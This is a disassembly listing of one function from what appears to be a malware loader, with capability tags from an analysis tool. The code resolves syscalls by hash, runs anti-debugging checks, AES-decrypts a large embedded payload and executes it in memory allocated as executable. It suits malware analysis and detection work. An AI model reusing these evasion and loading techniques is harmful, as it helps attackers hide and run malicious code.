Function at 0x14000a1b5
Capabilities:
Check for peb beingdebugged flag
Encrypt data using aes
Parse pe header
Reference aes constants
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x538
movdqa xmmword [rsp + 0x520], xmm8
movdqa xmmword [rsp + 0x510], xmm7
movdqa xmmword [rsp + 0x500], xmm6
call fcn.140002bd4
movups xmm0, xmmword [0x14004ea50]
movaps xmmword [rsp + 0x210], xmm0
movdqu xmm0, xmmword [0x14004ea60]
movdqa xmmword [rsp + 0x220], xmm0
mov qword [rsp + 0x230], rax
mov qword [rsp + 0x238], rdx
lea rcx, [rsp + 0x100]
and qword [rcx + 0x38], 0
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x28], xmm0
lea rax, [0x14004ea70]
mov qword [rcx], rax
lea rax, [0x14004ea90]
mov qword [rcx + 8], rax
lea rax, [0x1414e0001]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 0x13
and qword [rcx + 0x20], 0
call fcn.1400014a0
test al, 1
je 0x14000a30a
mov ebx, edx
lea rsi, [rsp + 0x310]
mov edx, 8
mov rcx, rsi
call fcn.1400167f2
mov rax, qword [rsi + 8]
mov byte [rax], bl
movups xmm0, xmmword [rsi]
lea rdi, [rsp + 0x70]
movaps xmmword [rdi], xmm0
mov qword [rdi + 0x10], 1
movdqu xmm0, xmmword [rsp + 0x100]
movups xmm1, xmmword [rsp + 0x110]
movups xmm2, xmmword [rsp + 0x120]
movups xmm3, xmmword [rsp + 0x130]
movaps xmmword [rsi + 0x30], xmm3
movaps xmmword [rsi + 0x20], xmm2
movaps xmmword [rsi + 0x10], xmm1
movdqa xmmword [rsi], xmm0
mov rcx, rsi
call fcn.1400014a0
test al, 1
je 0x14000a316
mov ebx, edx
mov r14, qword [rsp + 0x80]
cmp r14, qword [rsp + 0x70]
jne 0x14000a2f4
mov edx, 1
mov rcx, rdi
call fcn.14000cc04
mov rax, qword [rsp + 0x78]
mov byte [rax + r14], bl
inc r14
mov qword [rsp + 0x80], r14
jmp 0x14000a2ca
mov ebx, 1
xor esi, esi
xor r14d, r14d
jmp 0x14000a328
mov r14, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
movabs r15, 0x8000000000000001
lea rdi, [rsp + 0x310]
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.14000e387
cmp qword [rdi], 0
je 0x14000a369
lea rax, [r15 - 1]
cmp r14, rax
jne 0x14000b76b
mov r14, rbx
mov rbx, rsi
mov rsi, qword [rsp + 0x318]
lea rcx, [rsp + 0x310]
and dword [rcx + 0x20], 0
and word [rcx + 0x24], 0
and dword [rcx], 0
pxor xmm0, xmm0
movdqu xmmword [rcx + 8], xmm0
mov qword [rcx + 0x18], 7
mov byte [rcx + 0x20], 1
mov rdx, rbx
mov r8, rsi
call fcn.14001adcd
mov rsi, rdx
test rax, rax
jne 0x14000b7a8
mov qword [rsp + 0x68], rsi
and qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 1
and qword [rsp + 0x80], 0
lea rdi, [rsp + 0x310]
mov rcx, rdi
mov rdx, rsi
call fcn.14001acdb
mov rax, qword [rdi]
xor ecx, ecx
cmp rax, 2
sete cl
cmp eax, 2
lea rax, [rsp + 0x318]
lea rdx, [rsp + 0x348]
cmove rdx, rax
mov rdx, qword [rdx]
call fcn.14001b484
mov r13b, 1
test rax, rax
je 0x14000a465
mov rdi, rdx
lea r8, [rsp + 0x310]
and qword [r8], 0
mov rcx, qword [rsp + 0x68]
xor edx, edx
mov r9d, 1
call sub.kernel32.dll_SetFilePointerEx
test eax, eax
je 0x14000a43d
mov rdx, qword [rsp + 0x310]
xor ecx, ecx
jmp 0x14000a44a
call fcn.1400168d2
mov rdx, rax
mov ecx, 1
call fcn.14001b484
test rax, rax
je 0x14000a465
xor r13d, r13d
sub rdi, rdx
mov esi, 0
cmovae rsi, rdi
jmp 0x14000a467
xor esi, esi
mov qword [rsp + 0x58], r14
movabs rdi, 0x2600000003
lea rcx, [rsp + 0x70]
mov rdx, rsi
call fcn.14000d387
cmp rax, r15
mov qword [rsp + 0x60], rbx
jne 0x14000b6e1
mov rbp, qword [rsp + 0x70]
mov r14, qword [rsp + 0x80]
mov r12d, 0x2000
test r13b, r13b
je 0x14000b357
mov rax, rbp
sub rax, r14
cmp rax, 0x1f
ja 0x14000b5a3
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0x70]
call fcn.14001b3e7
test rax, rax
jne 0x14000b76d
mov r14, qword [rsp + 0x80]
test rdx, rdx
jne 0x14000b5a3
mov r12, qword [rsp + 0x78]
cmp r14, 0x40
jb 0x14000b784
mov bl, 4
test r12b, 3
jne 0x14000b701
cmp word [r12], 0x5a4d
jne 0x14000b79a
mov eax, dword [r12 + 0x3c]
test al, 3
jne 0x14000b701
cmp eax, 0x1000000
ja 0x14000b7a1
lea rcx, [rax + 0x88]
cmp r14, rcx
jb 0x14000b784
cmp dword [r12 + rax], 0x4550
jne 0x14000b79a
lea rdi, [r12 + rax]
movzx edx, word [rdi + 0x18]
cmp edx, 0x20b
je 0x14000a562
mov bl, 5
cmp edx, 0x10b
jne 0x14000b701
mov r8d, dword [rdi + 0x54]
cmp r14, r8
jb 0x14000b784
cmp r8d, dword [rdi + 0x50]
ja 0x14000b7a1
cmp dx, 0x20b
jne 0x14000b7bc
mov edx, dword [rdi + 0x84]
cmp edx, 0x10
mov r8d, 0x10
cmovb r8d, edx
lea ecx, [rcx + r8*8]
cmp r14, rcx
jb 0x14000b784
movzx ecx, word [rdi + 6]
mov bl, 7
cmp rcx, 0x60
ja 0x14000b701
imul rcx, rcx, 0x28
add rax, rcx
movzx ecx, word [rdi + 0x14]
add rax, rcx
add rax, 0x18
mov bl, 1
cmp rax, r14
ja 0x14000b701
test edx, edx
je 0x14000b701
add rdi, 0x88
mov r9d, dword [rdi]
mov qword [rsp + 0x20], 0x28
lea rsi, [rsp + 0x100]
mov rcx, rsi
mov rdx, r12
mov r8, r14
call fcn.1400029f2
mov rbx, qword [rsi]
test rbx, rbx
je 0x14000b6fa
mov rax, r14
shr rax, 8
lea rdx, [rsp + 0x310]
mov qword [rdx], r12
mov byte [rdx + 8], r14b
mov rcx, r14
shr rcx, 0x38
mov byte [rdx + 0xf], cl
shr r14, 0x28
mov word [rdx + 0xd], r14w
mov dword [rdx + 9], eax
mov qword [rdx + 0x10], rdi
mov qword [rdx + 0x18], rbx
lea rsi, [rsp + 0x100]
mov rcx, rsi
call fcn.1400029f7
cmp qword [rsi], 0
je 0x14000b6fa
mov r14, rbx
lea r15, [rsp + 0x100]
mov rax, qword [r15 + 8]
mov qword [rsp + 0xa8], rax
lea r13, [rsp + 0x310]
mov rax, qword [r13 + 8]
mov qword [rsp + 0xc8], rax
lea rax, [r12 - 1]
mov qword [rsp + 0xe0], rax
mov ebp, 1
pcmpeqd xmm6, xmm6
mov qword [rsp + 0xb8], r12
mov qword [rsp + 0xb0], rbx
cmp rbp, qword [rsp + 0xa8]
jae 0x14000a94a
mov rcx, r15
mov rdx, r13
call fcn.1400029f7
mov rax, qword [rsp + 0x100]
test rax, rax
je 0x14000b6fa
lea rcx, [rbp - 1]
cmp rcx, qword [rsp + 0x108]
jae 0x14000b76b
mov esi, dword [rax + rbp*4 - 4]
mov eax, dword [r14 + 0x14]
mov r9d, dword [r14 + 0x1c]
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, r12
mov r8, qword [rsp + 0xc8]
call fcn.1400029a4
mov rax, qword [rsp + 0x100]
test rax, rax
je 0x14000b6fa
cmp rbp, qword [rsp + 0x108]
jae 0x14000b76b
mov ebx, dword [rax + rbp*4]
inc rbp
lea rdx, [r12 + rsi]
add rsi, qword [rsp + 0xe0]
cmp byte [rsi + 1], 0
lea rsi, [rsi + 1]
jne 0x14000a73e
sub rsi, rdx
mov rcx, r15
mov r8, rsi
call fcn.14000e387
cmp qword [rsp + 0x100], 0
mov rdi, qword [rsp + 0x108]
mov rsi, qword [rsp + 0x110]
jne 0x14000b714
cmp dword [r12 + rbx], 0xb8d18b4c
jne 0x14000a6ad
movzx eax, word [r12 + rbx + 4]
mov word [rsp + 0xc0], ax
mov rcx, rdi
mov rdx, rsi
call fcn.14000370a
mov r14d, eax
mov rcx, qword [rsp + 0x230]
mov rdx, qword [rsp + 0x238]
mov r8d, eax
call fcn.140002bfc
mov rsi, rax
cmp qword [rsp + 0x220], 0
je 0x14000a8c5
mov rbx, qword [rsp + 0x210]
mov r12, qword [rsp + 0x218]
mov r13, r12
and r13, rsi
shr rsi, 0x39
mov qword [rsp + 0xd8], rsi
movd xmm0, esi
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor esi, esi
xor edi, edi
movdqu xmm8, xmmword [rbx + r13]
movdqa xmm0, xmm7
pcmpeqb xmm0, xmm8
pmovmskb eax, xmm0
mov word [rsp + 0x100], ax
mov rcx, r15
call fcn.1400014e6
test rax, rax
je 0x14000a845
add rdx, r13
and rdx, r12
lea rax, [rdx*8]
mov rcx, rbx
sub rcx, rax
cmp dword [rcx - 8], r14d
jne 0x14000a81c
jmp 0x14000a898
test rdi, rdi
mov edi, 1
jne 0x14000a877
movdqa xmmword [rsp + 0x200], xmm8
mov rcx, r12
lea rdx, [rsp + 0x200]
mov r8, r13
call fcn.140002d1b
mov rdi, rax
mov qword [rsp + 0xd0], rdx
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x14000a8df
add r13, rsi
add r13, 0x10
add rsi, 0x10
and r13, r12
jmp 0x14000a801
neg rdx
movzx eax, word [rsp + 0xc0]
mov word [rbx + rdx*8 - 4], ax
mov r12, qword [rsp + 0xb8]
lea r13, [rsp + 0x310]
mov r14, qword [rsp + 0xb0]
jmp 0x14000a6ad
lea rcx, [rsp + 0x210]
lea rdx, [rsp + 0x230]
call fcn.140002d34
jmp 0x14000a7c9
mov rdx, qword [rsp + 0xd0]
mov al, byte [rbx + rdx]
test al, al
js 0x14000a8fc
movdqa xmm0, xmmword [rbx]
pmovmskb eax, xmm0
bsf edx, eax
mov al, byte [rbx + rdx]
and al, 1
movzx eax, al
sub qword [rsp + 0x220], rax
lea rax, [rdx - 0x10]
and rax, r12
mov rcx, qword [rsp + 0xd8]
mov byte [rbx + rdx], cl
mov byte [rbx + rax + 0x10], cl
inc qword [rsp + 0x228]
shl rdx, 3
mov rax, rbx
sub rax, rdx
neg rdx
mov dword [rbx + rdx - 8], r14d
movzx ecx, word [rsp + 0xc0]
mov word [rax - 4], cx
jmp 0x14000a8a8
mov rdi, qword [rsp + 0x210]
mov rbx, qword [rsp + 0x218]
mov r14, qword [rsp + 0x220]
lea rax, [rsp + 0x230]
movdqu xmm0, xmmword [rax - 8]
movdqa xmmword [rsp + 0x100], xmm0
mov rax, qword [rax + 8]
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x70]
mov rdx, r12
call fcn.14000cf13
mov rcx, qword [rsp + 0x68]
call sub.kernel32.dll_CloseHandle
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
call fcn.14000cf13
test rdi, rdi
je 0x14000b76b
lea rsi, [rsp + 0x70]
mov qword [rsi], rdi
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], r14
movdqa xmm0, xmmword [rsp + 0x100]
movdqu xmmword [rsi + 0x18], xmm0
mov rax, qword [rsp + 0x110]
mov qword [rsi + 0x28], rax
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x340], xmm0
movdqa xmmword [rsp + 0x330], xmm0
movdqa xmmword [rsp + 0x320], xmm0
movdqa xmmword [rsp + 0x310], xmm0
mov ecx, 0x7bc23928
call fcn.140003636
mov rdi, rax
mov rcx, rsi
mov edx, 0x7bc23928
call fcn.140001503
movzx ecx, word [rax]
mov qword [rsp + 0x20], r13
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov rdx, rdi
mov r8d, 4
xor r9d, r9d
call fcn.140001450
test eax, eax
jne 0x14000b790
cmp byte [rsp + 0x348], 1
je 0x14000b790
and qword [rsp + 0x100], 0
mov ecx, 0x8cdc5dc2
call fcn.140003636
mov rsi, rax
lea rcx, [rsp + 0x70]
mov edx, 0x8cdc5dc2
call fcn.140001503
movzx ecx, word [rax]
and qword [rsp + 0x38], 0
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x30], 8
mov dword [rsp + 0x20], 7
mov rdx, rsi
mov r8d, 5
mov r9, 0xffffffffffffffff
call fcn.140001450
test eax, eax
jne 0x14000b790
cmp qword [rsp + 0x100], 0
jne 0x14000b78b
mov dword [rsp + 0x210], 0x3e7
mov ecx, 0x8cdc5dc2
call fcn.140003636
mov rsi, rax
lea rcx, [rsp + 0x70]
mov edx, 0x8cdc5dc2
call fcn.140001503
movzx ecx, word [rax]
and qword [rsp + 0x38], 0
lea rax, [rsp + 0x210]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 4
mov dword [rsp + 0x20], 0x1f
mov rdx, rsi
mov r8d, 5
mov r9, 0xffffffffffffffff
call fcn.140001450
or eax, dword [rsp + 0x210]
je 0x14000b78b
mov eax, 0x30
mov rax, qword gs:[eax]
mov rax, qword [rax + 0x60]
cmp byte [rax + 2], 1
je 0x14000b78b
cmp dword [rax + 0xbc], 0x70
je 0x14000b78b
mov ecx, 0x40d6e69d
call fcn.140003636
mov rsi, rax
lea rcx, [rsp + 0x70]
mov edx, 0x40d6e69d
call fcn.140001503
movzx ecx, word [rax]
mov rdx, rsi
mov r8d, 1
mov r9d, 0x1337
call fcn.140001450
cmp eax, 0xc0000008
jne 0x14000b78b
lea rsi, [rsp + 0x100]
mov r8d, 0xf0
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
lea rdi, [rsp + 0x210]
mov r8d, 0xf1
mov rcx, rdi
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, rdi
call fcn.140010524
mov byte [rsi + 0xf0], 0
mov rcx, rsi
call fcn.140010524
movzx eax, byte [rsi + 0xf0]
lea rax, [rax*4 + 3]
mov ecx, 3
lea rdx, [rax - 3]
lea r8, [rcx - 3]
cmp r8, rdx
jae 0x14000acc8
cmp r8, 0x3c
jae 0x14000b76b
cmp rdx, 0x3c
jae 0x14000b76b
mov edx, dword [rsp + rcx*4 + 0xf4]
mov r8d, dword [rsp + rax*4 + 0xf4]
mov dword [rsp + rcx*4 + 0xf4], r8d
mov dword [rsp + rax*4 + 0xf4], edx
lea rdx, [rax - 2]
cmp rdx, 0x3c
jae 0x14000b76b
mov edx, dword [rsp + rcx*4 + 0xf8]
mov r8d, dword [rsp + rax*4 + 0xf8]
mov dword [rsp + rcx*4 + 0xf8], r8d
mov dword [rsp + rax*4 + 0xf8], edx
lea rdx, [rax - 1]
cmp rdx, 0x3c
jae 0x14000b76b
mov edx, dword [rsp + rcx*4 + 0xfc]
mov r8d, dword [rsp + rax*4 + 0xfc]
mov dword [rsp + rcx*4 + 0xfc], r8d
mov dword [rsp + rax*4 + 0xfc], edx
cmp rax, 0x3c
jae 0x14000b76b
mov edx, dword [rsp + rcx*4 + 0x100]
mov r8d, dword [rsp + rax*4 + 0x100]
mov dword [rsp + rcx*4 + 0x100], r8d
mov dword [rsp + rax*4 + 0x100], edx
add rax, 0xfffffffffffffffc
add rcx, 4
jmp 0x14000abf8
mov al, 1
mov ecx, 7
mov dl, byte [rsp + 0x1f0]
lea r8, [0x1414e8b48]
mov r9d, 0x3fc
mov r10d, 0xff
lea r15, [0x1414e9370]
lea r14, [0x1414e8f70]
lea rbx, [0x1414e9770]
lea r12, [0x1414e9b70]
cmp al, dl
jae 0x14000ae56
cmp rcx, 0x3f
je 0x14000b76b
inc al
mov r11d, dword [rsp + rcx*4 + 0xf4]
mov esi, r11d
shr esi, 0x18
movzx esi, byte [r8 + rsi*4]
mov edi, r11d
shr edi, 0xe
and edi, r9d
movzx edi, byte [rdi + r8]
mov edi, dword [r15 + rdi*4]
xor edi, dword [r14 + rsi*4]
mov esi, r11d
shr esi, 8
and esi, r10d
movzx esi, byte [r8 + rsi*4]
xor edi, dword [rbx + rsi*4]
and r11d, r10d
movzx r11d, byte [r8 + r11*4]
xor edi, dword [r12 + r11*4]
mov r11d, dword [rsp + rcx*4 + 0xf8]
mov dword [rsp + rcx*4 + 0xf4], edi
mov esi, r11d
shr esi, 0x18
movzx esi, byte [r8 + rsi*4]
mov edi, r11d
shr edi, 0xe
and edi, r9d
movzx edi, byte [rdi + r8]
mov edi, dword [r15 + rdi*4]
xor edi, dword [r14 + rsi*4]
mov esi, r11d
shr esi, 8
and esi, r10d
movzx esi, byte [r8 + rsi*4]
xor edi, dword [rbx + rsi*4]
and r11d, r10d
movzx r11d, byte [r8 + r11*4]
xor edi, dword [r12 + r11*4]
mov dword [rsp + rcx*4 + 0xf8], edi
mov r11d, dword [rsp + rcx*4 + 0xfc]
mov esi, r11d
shr esi, 0x18
movzx esi, byte [r8 + rsi*4]
mov edi, r11d
shr edi, 0xe
and edi, r9d
movzx edi, byte [rdi + r8]
mov edi, dword [r15 + rdi*4]
xor edi, dword [r14 + rsi*4]
mov esi, r11d
shr esi, 8
and esi, r10d
movzx esi, byte [r8 + rsi*4]
xor edi, dword [rbx + rsi*4]
and r11d, r10d
movzx r11d, byte [r8 + r11*4]
xor edi, dword [r12 + r11*4]
mov dword [rsp + rcx*4 + 0xfc], edi
mov r11d, dword [rsp + rcx*4 + 0x100]
mov esi, r11d
shr esi, 0x18
movzx esi, byte [r8 + rsi*4]
mov edi, r11d
shr edi, 0xe
and edi, r9d
movzx edi, byte [rdi + r8]
mov edi, dword [r15 + rdi*4]
xor edi, dword [r14 + rsi*4]
mov esi, r11d
shr esi, 8
and esi, r10d
movzx esi, byte [r8 + rsi*4]
xor edi, dword [rbx + rsi*4]
and r11d, r10d
movzx r11d, byte [r8 + r11*4]
xor edi, dword [r12 + r11*4]
mov dword [rsp + rcx*4 + 0x100], edi
add rcx, 4
jmp 0x14000ad05
lea rcx, [rsp + 0x310]
lea rdx, [rsp + 0x210]
mov r8d, 0xf4
call sub.msvcrt.dll_memcpy
lea rsi, [rsp + 0x404]
lea rdx, [rsp + 0x100]
mov r8d, 0xf4
mov rcx, rsi
call sub.msvcrt.dll_memcpy
mov byte [rsi + 0xf4], 1
lea rsi, [rsp + 0x100]
mov edx, 0x106e0e0
mov rcx, rsi
xor r8d, r8d
call fcn.14000cf43
cmp qword [rsi], 0
jne 0x14000b76b
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0xf0], rax
mov r13, qword [rsp + 0x110]
lea rdx, [0x140471ef1]
mov r8d, 0x106e0e0
mov rcx, r13
call sub.msvcrt.dll_memcpy
lea rax, [rsp + 0x430]
mov ecx, dword [rax - 0x2c]
mov dword [rsp + 0xd0], ecx
mov ecx, dword [rax - 0x28]
mov dword [rsp + 0x60], ecx
mov ecx, dword [rax - 0x24]
mov dword [rsp + 0x58], ecx
mov ecx, dword [rax - 0x20]
mov dword [rsp + 0xec], ecx
mov al, byte [rax + 0xc4]
shr al, 1
dec al
mov byte [rsp + 0x56], al
lea rcx, [0x1414dfff1]
mov eax, 0x106e0e
xor edx, edx
mov r8, r13
mov qword [rsp + 0xf8], r13
sub rax, 1
jb 0x14000b38b
mov qword [rsp + 0xb0], r8
mov qword [rsp + 0xb8], rcx
mov qword [rsp + 0xc0], rax
lea rax, [rdx + 0x10]
mov qword [rsp + 0xd8], rax
mov esi, dword [r13 + rdx]
mov ecx, dword [r13 + rdx + 4]
bswap esi
xor esi, dword [rsp + 0xd0]
bswap ecx
xor ecx, dword [rsp + 0x60]
mov r12d, dword [r13 + rdx + 8]
bswap r12d
xor r12d, dword [rsp + 0x58]
mov qword [rsp + 0xe0], rdx
mov r13d, dword [r13 + rdx + 0xc]
bswap r13d
xor r13d, dword [rsp + 0xec]
mov eax, 0x3c
lea r8, [rsp + 0x430]
mov dl, byte [rsp + 0x56]
mov byte [rsp + 0xc8], dl
cmp rax, 4
jbe 0x14000b76b
mov qword [rsp + 0xa8], rax
mov edx, esi
shr edx, 0x18
mov r9d, r13d
shr r9d, 0xe
mov r15d, 0x3fc
and r9d, r15d
lea rbx, [0x1414e9370]
mov r9d, dword [r9 + rbx]
lea rbp, [0x1414e8f70]
xor r9d, dword [rbp + rdx*4]
mov edx, r12d
shr edx, 8
mov eax, 0xff
and edx, eax
lea r14, [0x1414e9770]
xor r9d, dword [r14 + rdx*4]
mov edx, ecx
and edx, eax
lea r11, [0x1414e9b70]
xor r9d, dword [r11 + rdx*4]
mov edx, ecx
shr edx, 0x18
mov r10d, esi
shr r10d, 0xe
and r10d, r15d
mov r10d, dword [r10 + rbx]
xor r10d, dword [rbp + rdx*4]
mov edx, r13d
shr edx, 8
and edx, eax
xor r10d, dword [r14 + rdx*4]
mov edx, r12d
and edx, eax
xor r10d, dword [r11 + rdx*4]
mov edi, r12d
shr edi, 0x18
mov edx, ecx
shr edx, 0xe
and edx, r15d
mov edx, dword [rdx + rbx]
xor edx, dword [rbp + rdi*4]
mov edi, esi
shr edi, 8
and edi, eax
xor edx, dword [r14 + rdi*4]
mov edi, r13d
and edi, eax
xor edx, dword [r11 + rdi*4]
shr r13d, 0x18
shr r12d, 0xe
and r12d, r15d
mov edi, dword [r12 + rbx]
xor edi, dword [rbp + r13*4]
shr ecx, 8
and ecx, eax
xor edi, dword [r14 + rcx*4]
and esi, eax
xor edi, dword [r11 + rsi*4]
xor r9d, dword [r8 - 0x1c]
xor r10d, dword [r8 - 0x18]
xor edx, dword [r8 - 0x14]
xor edi, dword [r8 - 0x10]
mov al, byte [rsp + 0xc8]
sub al, 1
jb 0x14000b1c0
cmp qword [rsp + 0xa8], 8
je 0x14000b76b
mov byte [rsp + 0xc8], al
mov esi, r10d
shr esi, 0x18
mov ecx, r9d
shr ecx, 0xe
and ecx, r15d
lea rbx, [0x1414e9370]
mov ecx, dword [rcx + rbx]
lea rbp, [0x1414e8f70]
xor ecx, dword [rbp + rsi*4]
mov esi, edi
shr esi, 8
mov eax, 0xff
and esi, eax
lea r14, [0x1414e9770]
xor ecx, dword [r14 + rsi*4]
mov esi, edx
and esi, eax
lea r11, [0x1414e9b70]
xor ecx, dword [r11 + rsi*4]
mov r12d, r9d
shr r12d, 0x18
mov esi, edi
shr esi, 0xe
and esi, r15d
mov esi, dword [rsi + rbx]
xor esi, dword [rbp + r12*4]
mov r12d, edx
shr r12d, 8
and r12d, eax
xor esi, dword [r14 + r12*4]
mov r12d, r10d
and r12d, eax
xor esi, dword [r11 + r12*4]
mov r13d, edx
shr r13d, 0x18
mov r12d, r10d
shr r12d, 0xe
and r12d, r15d
mov r12d, dword [r12 + rbx]
xor r12d, dword [rbp + r13*4]
mov r13d, r9d
shr r13d, 8
and r13d, eax
xor r12d, dword [r14 + r13*4]
mov r13d, edi
and r13d, eax
xor r12d, dword [r11 + r13*4]
shr edi, 0x18
shr edx, 0xe
and edx, r15d
mov r13d, dword [rdx + rbx]
xor r13d, dword [rbp + rdi*4]
shr r10d, 8
and r10d, eax
xor r13d, dword [r14 + r10*4]
and r9d, eax
mov rax, qword [rsp + 0xa8]
xor r13d, dword [r11 + r9*4]
xor ecx, dword [r8 - 8]
xor esi, dword [r8 - 0xc]
xor r12d, dword [r8 - 4]
xor r13d, dword [r8]
add r8, 0x20
add rax, 0xfffffffffffffff8
jmp 0x14000afba
cmp qword [rsp + 0xa8], 8
mov r13, qword [rsp + 0xf8]
mov r15, qword [rsp + 0xe0]
je 0x14000b76b
mov eax, r10d
mov ebx, 0xff
and eax, ebx
lea r14, [0x1414e9f70]
movzx eax, byte [rax + r14]
shl eax, 0x18
mov ecx, edx
shr ecx, 8
and ecx, ebx
movzx ecx, byte [rcx + r14]
shl ecx, 0x10
or ecx, eax
mov eax, edi
shr eax, 0x10
and eax, ebx
movzx eax, byte [rax + r14]
shl eax, 8
or eax, ecx
mov ecx, r9d
shr ecx, 0x18
movzx ecx, byte [rcx + r14]
or ecx, eax
mov eax, dword [r8 - 0xc]
bswap eax
xor eax, ecx
mov dword [r13 + r15], eax
mov eax, r10d
shr eax, 0x18
movzx eax, byte [rax + r14]
mov ecx, r9d
shr ecx, 0x10
and ecx, ebx
movzx ecx, byte [rcx + r14]
mov r11d, edx
and r11d, ebx
mov esi, edi
shr esi, 8
and esi, ebx
movzx esi, byte [rsi + r14]
movzx r11d, byte [r11 + r14]
shl r11d, 0x18
shl esi, 0x10
shl ecx, 8
or ecx, eax
or ecx, esi
or ecx, r11d
mov eax, dword [r8 - 8]
bswap eax
xor eax, ecx
mov dword [r13 + r15 + 4], eax
mov eax, edi
and eax, ebx
movzx eax, byte [rax + r14]
shl eax, 0x18
mov ecx, r9d
shr ecx, 8
and ecx, ebx
movzx ecx, byte [rcx + r14]
shl ecx, 0x10
or ecx, eax
mov eax, r10d
shr eax, 0x10
and eax, ebx
movzx eax, byte [rax + r14]
shl eax, 8
or eax, ecx
mov ecx, edx
shr ecx, 0x18
movzx ecx, byte [rcx + r14]
or ecx, eax
mov eax, dword [r8 - 4]
bswap eax
xor eax, ecx
mov dword [r13 + r15 + 8], eax
shr edi, 0x18
movzx eax, byte [rdi + r14]
shr edx, 0x10
and edx, ebx
movzx ecx, byte [rdx + r14]
and r9d, ebx
shr r10d, 8
and r10d, ebx
movzx edx, byte [r10 + r14]
movzx r9d, byte [r9 + r14]
shl r9d, 0x18
shl edx, 0x10
shl ecx, 8
or ecx, eax
or ecx, edx
or ecx, r9d
mov eax, dword [r8]
bswap eax
xor eax, ecx
mov dword [r13 + r15 + 0xc], eax
xor eax, eax
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xb0]
cmp rax, 0x10
je 0x14000b331
mov cl, byte [rdx + rax]
xor byte [r8 + rax], cl
inc rax
jmp 0x14000b31f
mov rcx, r15
lea rax, [0x140471ef1]
add rcx, rax
add r8, 0x10
mov rdx, qword [rsp + 0xd8]
mov rax, qword [rsp + 0xc0]
jmp 0x14000af36
mov rax, rsi
add rax, 0x400
jb 0x14000b5a3
mov rcx, rax
and rcx, 0x1fff
je 0x14000b588
mov edx, 0x2000
sub rdx, rcx
xor ecx, ecx
add rax, rdx
setae cl
jmp 0x14000b58d
cmp byte [rsp + 0x4f8], 0
je 0x14000b3a7
movzx eax, byte [r13 + 0x106e0df]
mov esi, 0x106e0e0
sub rsi, rax
jmp 0x14000b3ac
mov esi, 0x106e0e0
cmp byte [r13], 0x48
jne 0x14000b76b
cmp byte [r13 + 1], 0x83
jne 0x14000b76b
cmp byte [r13 + 2], 0xe4
jne 0x14000b76b
cmp byte [r13 + 3], 0xf0
jne 0x14000b76b
call fcn.14000375b
and qword [rsp + 0x100], 0
mov ecx, 0xf783b8ec
call fcn.140003636
mov r15, rax
lea rcx, [rsp + 0x70]
mov edx, 0xf783b8ec
call fcn.140001503
movzx ecx, word [rax]
mov qword [rsp + 0x310], rsi
lea rax, [rsp + 0x310]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x100]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 0x40
mov dword [rsp + 0x38], 0x3000
and dword [rsp + 0x28], 0
mov rdx, r15
mov r8d, 6
mov r9, 0xffffffffffffffff
call fcn.140001450
test eax, eax
jne 0x14000b7c3
mov ecx, 0xc3170192
call fcn.140003636
mov rbx, rax
lea rcx, [rsp + 0x70]
mov edx, 0xc3170192
call fcn.140001503
movzx ecx, word [rax]
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rax
and qword [rsp + 0x38], 0
mov rdx, rbx
mov r8d, 5
mov r9, 0xffffffffffffffff
call fcn.140001450
test eax, eax
jne 0x14000b790
mov ecx, 0xa6664b8
call fcn.140003636
mov rbx, rax
lea rcx, [rsp + 0x70]
mov edx, 0xa6664b8
call fcn.140001503
movzx ecx, word [rax]
mov rax, qword [rsp + 0x100]
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov r8d, 5
mov r9, 0xfffffffffffffffe
call fcn.140001450
test eax, eax
jne 0x14000b7cd
mov ecx, 0x858a32df
call fcn.140003636
mov rbx, rax
lea r14, [rsp + 0x70]
mov rcx, r14
mov edx, 0x858a32df
call fcn.140001503
movzx ecx, word [rax]
lea r9, [rsp + 0x57]
mov rdx, rbx
mov r8d, 1
call fcn.140001450
mov rcx, qword [rsp + 0xf0]
mov rdx, r13
call fcn.14000cf13
mov rcx, qword [r14]
mov rdx, qword [r14 + 8]
call fcn.140001e4e
movaps xmm6, xmmword [rsp + 0x500]
movaps xmm7, xmmword [rsp + 0x510]
movaps xmm8, xmmword [rsp + 0x520]
add rsp, 0x538
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 1
test rcx, rcx
cmovne r12, rax
test rsi, rsi
setne al
or al, r13b
je 0x14000a4ad
xor edi, edi
lea rbx, [rsp + 0x70]
mov rsi, qword [rsp + 0x70]
cmp r14, rsi
jne 0x14000b5e5
cmp rsi, rbp
jne 0x14000b5e5
lea rcx, [rsp + 0x68]
mov rdx, rbx
call fcn.14001b3e7
test rax, rax
jne 0x14000b76d
mov r14, qword [rsp + 0x80]
test rdx, rdx
je 0x14000a4e6
mov rsi, qword [rsp + 0x70]
cmp r14, rsi
jne 0x14000b617
mov edx, 0x20
mov rcx, rbx
call fcn.14000d387
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x14000b775
